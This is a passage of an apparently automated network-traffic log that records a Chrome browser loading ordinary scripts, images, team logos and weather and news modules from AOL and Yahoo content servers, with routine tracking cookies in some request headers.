Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/ad_blocker.9bc5be0dc76620b0.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/aol_header.c9d788ec37fadfe6.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-07%2F3c019bd0-ee43-11eb-bced-b4b62d80677d&client=76f99bdb8f78cd44cc0b&signature=ce40ac0abc26ce89b2b3a45dd92d42a44233b73e HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fbj34PPEboLt0lNpiCqZ05Q--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fnba%2F20181214%2F500x500%2Fmavericks_wbg.png&client=76f99bdb8f78cd44cc0b&signature=dfd6b0388f649b2725da8a42d8805ed86e4d5259 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-07%2F64f4c710-1cd1-11ee-a4ff-74225ffec8bb&client=76f99bdb8f78cd44cc0b&signature=c29cea20723b38471dd5671b7aded44c5500be24 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/images/weather/large/AccuWeather_2.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-11%2Fa2258160-2b7f-11eb-bbe3-c5a6dfd56406&client=76f99bdb8f78cd44cc0b&signature=668467e7d91ff5dccf4279760f0d614d88addd13 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-09%2F7bc91ad0-1009-11ec-bfea-2182b7e056ce&client=76f99bdb8f78cd44cc0b&signature=288593dd0d822231ec18e08bd43dabcce5aeea31 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F3E6F0ARiT3ZQ7FArihI9Bw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fnba%2F20181226%2F500x500%2Ftimberwolves_wbg.png&client=76f99bdb8f78cd44cc0b&signature=6b39da94a9b7fb47562b1b860faa5f4c1d24210e HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/adbuilder/gemini.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dv/static/siteApp/img/privacy-choice-control.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=jpg&quality=80&thumbnail=32%2C32&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-07%2F3c019bd0-ee43-11eb-bced-b4b62d80677d&client=76f99bdb8f78cd44cc0b&signature=3aa198e79469e4081181851b7817f9aefe8b4866 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lib/metro/g/myy/rapidworker_1_2_0.0.2.js HTTP/1.1Host: www.aol.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fbj34PPEboLt0lNpiCqZ05Q--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fnba%2F20181214%2F500x500%2Fmavericks_wbg.png&client=76f99bdb8f78cd44cc0b&signature=dfd6b0388f649b2725da8a42d8805ed86e4d5259 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F3E6F0ARiT3ZQ7FArihI9Bw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fnba%2F20181226%2F500x500%2Ftimberwolves_wbg.png&client=76f99bdb8f78cd44cc0b&signature=6b39da94a9b7fb47562b1b860faa5f4c1d24210e HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FyA3tBjYEAJYS_q11bBVHjg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fnba%2F20181214%2F500x500%2Fpacers_wbg.png&client=76f99bdb8f78cd44cc0b&signature=e68c4630c61600d47c8b52248989eab478a80807 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /nex/modules/weather/v1?isXHR=true&m_mode=json HTTP/1.1Host: www.aol.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/adbuilder/gemini.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /nex/modules/news/v1/?m_mode=json&isXHR=true HTTP/1.1Host: www.aol.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22
Source: global traffic	HTTP traffic detected: GET /dv/static/siteApp/img/privacy-choice-control.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=jpg&quality=80&thumbnail=32%2C32&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-07%2F3c019bd0-ee43-11eb-bced-b4b62d80677d&client=76f99bdb8f78cd44cc0b&signature=3aa198e79469e4081181851b7817f9aefe8b4866 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FyA3tBjYEAJYS_q11bBVHjg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fnba%2F20181214%2F500x500%2Fpacers_wbg.png&client=76f99bdb8f78cd44cc0b&signature=e68c4630c61600d47c8b52248989eab478a80807 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FLaVK5.znBhNMAKDUJz1a2g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181030%2F500x500%2Fceltics_wbg.png&client=76f99bdb8f78cd44cc0b&signature=9ca02475456bf5ddb0d57685bd4170c582005b73 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-autocomplete-1.31.8-6d742e966c.chunk.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FkMGV8nhIDPhon8NaaEH84Q--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20230811%2FMLB%2F500%2Frockies_wbg.png&client=76f99bdb8f78cd44cc0b&signature=da5ae335648275dd00d08fc5f3e80e3c24b0cb45 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fd.AWj8FuN2V4xyoJwzDPGQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Foakland_a_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=1e4049ff055d73d3c2d44d2d8fbe52423c466b52 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F_f.0rX.8xWRSA.z3Dpizcw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20200508%2F500x500%2Fpadres_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=7a024194b9142763655abfd6ed1e3e4f6495bf83 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FsQqawBV36sXqpGuGwXrDbw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fcincinnati_reds_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=c3d45d0ff820b44e19dcc56cec51d222b1fbf9da HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rx/ev/prod/evplayer.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F9OD88Iedd3JWl5h_W4111g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190314%2F500x500%2Frangers_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=09bdc4657cedb149a942b53e9557602fa6a610d4 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rx/ev/builds/1.6.29/evplayer.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FPMQsnNgc41c_GbNQ1JO_LQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190403%2F500x500%2Fphillies_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=c02d09651346a22345d45414bf6990886bbdd7db HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: 